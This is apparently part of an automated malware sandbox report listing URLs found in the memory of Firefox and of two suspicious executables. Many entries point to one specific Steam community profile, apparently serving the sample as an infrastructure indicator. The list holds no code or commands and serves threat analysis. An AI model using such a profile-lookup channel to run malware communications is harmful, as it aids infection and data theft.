Source: firefox.exe, 0000001B.00000002.2485314442.000001BAB74F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2427901505.000001BAAEFAE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7762000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBF12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF7A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB22D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFD85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7762000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB080E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB0780000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB060A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0810000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2447977267.000001BAB0503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2451145700.000001BAB0917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/p
Source: file.exe, 00000000.00000003.1531574030.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001180000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085894696.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900$
Source: file.exe, file.exe, 00000000.00000003.1539872027.0000000001205000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650084679.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706862907.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085894696.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.1539872027.0000000001205000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.1531574030.0000000001182000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900M
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.1531437575.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531574030.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.1531437575.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085812023.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085812023.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C39783226b5b7f60
Source: 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2445624984.000001BAB000A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
